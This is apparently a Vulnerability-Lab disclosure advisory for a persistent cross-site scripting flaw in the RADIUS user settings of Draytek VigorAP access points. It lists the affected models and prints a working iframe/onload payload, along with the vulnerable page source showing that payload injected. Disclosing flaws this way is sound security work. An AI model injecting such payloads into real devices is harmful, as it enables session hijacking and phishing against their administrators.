Draytek VigorAP - (RADIUS) Persistent XSS Vulnerability

Document Title:
===============
Draytek VigorAP - (RADIUS) Persistent XSS Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2244


Release Date:
=============
2020-05-06


Vulnerability Laboratory ID (VL-ID):
====================================
2244


Common Vulnerability Scoring System:
====================================
4


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
VigorAP is 11ac Wave 2 dual-band wireless mesh access point with port LAN switch. VigorAP provides the flexibility and advanced 
features for professional users to take full management of the wireless 
network, including the mesh technology, which aims for providing an easy way to expand the wireless network in minutes.

(Copy of the Homepage: https://www.draytek.com/  &  https://www.draytek.com/products/vigorap-903/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple persistent web vulnerabilities in the official Draytek VigorAP series.


Affected Product(s):
====================
Draytek
[+] VigorAP 1000C | 1.3.2
[+] VigorAP 700 | 1.11
[+] VigorAP 710 | 1.2.5
[+] VigorAP 800 | 1.1.4
[+] VigorAP 802 | 1.3.2
[+] VigorAP 810 | 1.2.5
[+] VigorAP 900 | 1.2.0
[+] VigorAP 902 | 1.2.5
[+] VigorAP 903 | 1.3.1
[+] VigorAP 910C | 1.2.5
[+] VigorAP 912C | 1.3.2
[+] VigorAP 918R Series | 1.3.2
[+] VigorAP 920R Series | 1.3.0 
[+] All other VigorAP Series with Radius Module


Vulnerability Disclosure Timeline:
==================================
2020-05-07: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
A persistent input validation vulnerability has been discovered in the official Draytek VigorAP product series application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise 
browser to web-application requests from the application-side.

The persistent input validation web vulnerability is located in the username input field of the RADIUS Setting - RADIUS Server 
Configuration module. Remote attackers with limited access are able to inject own malicious persistent script codes as username. 
Other privileged user accounts execute on preview of the modules context. The request method to inject is POST and the attack 
vector is located on the application-side.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external 
redirects to malicious source and persistent manipulation of affected application modules.

Vulnerable Module(s):
[+] RADIUS Setting - RADIUS Server Configuration - Users Profile

Vulnerable Input(s):
[+] Username


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerabilities can be exploited by remote attackers with low privileged user account and low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information an steüs below to continue.


PoC: Payload
<iframe src=evil.source onload=alert(document.domain)></iframe>


PoC: Vulnerable Source (http:/vigorAP.localhost:50902/home.asp)
<div class="box">
<table width="652" cellspacing="1" cellpadding="2">
<tbody><tr>
<th id="userName">Username</th>
<th id="passwd">Password</th>
<th id="confirmPasswd">Confirm Password</th>
<th id="configure">Configure</th>
</tr>
<tr>
<td><input maxlength="24" type="text" id="addusr"></td>
<td><input maxlength="24" type="password" id="addpwd"></td>
<td><input maxlength="24" type="password" id="addpwdcfm"></td>
<td><input type="button" id="btnAddUser" value="Add" class="add" onclick="addUser()">
<input type="button" id="btnCancelUser" value="Cancel" class="add" onclick="cancelUser()"></td>
</tr>
</tbody></table>
<table class="content" width="652" cellspacing="1" cellpadding="2">
<tbody id="usersTb">
<tr>
<th id="userNo">NO.</th>
<th id="userNames">Username</th>
<th id="userSelect">Select</th>
</tr>
<tr><td>1</td><td>test</td><td><input type="checkbox"><input type="hidden" value="test"></td></tr>
tr><td>2</td><td><iframe src=evil.source onload=alert(document.domain)></iframe></td><td><input type="checkbox">
<input type="hidden" value="asd"></td></tr></tbody>
</table>
<p><input type="button" id="btnDelSelUser" value="Delete Selected" class="del" onclick="delSelUser()">
<input type="button" id="btnDelAllUser" value="Delete All" class="del" onclick="delAllUser()">
</p></div>


Reference(s):
http:/vigorAP.localhost:50902/
http:/vigorAP.localhost:50902/home.asp


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


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=========================
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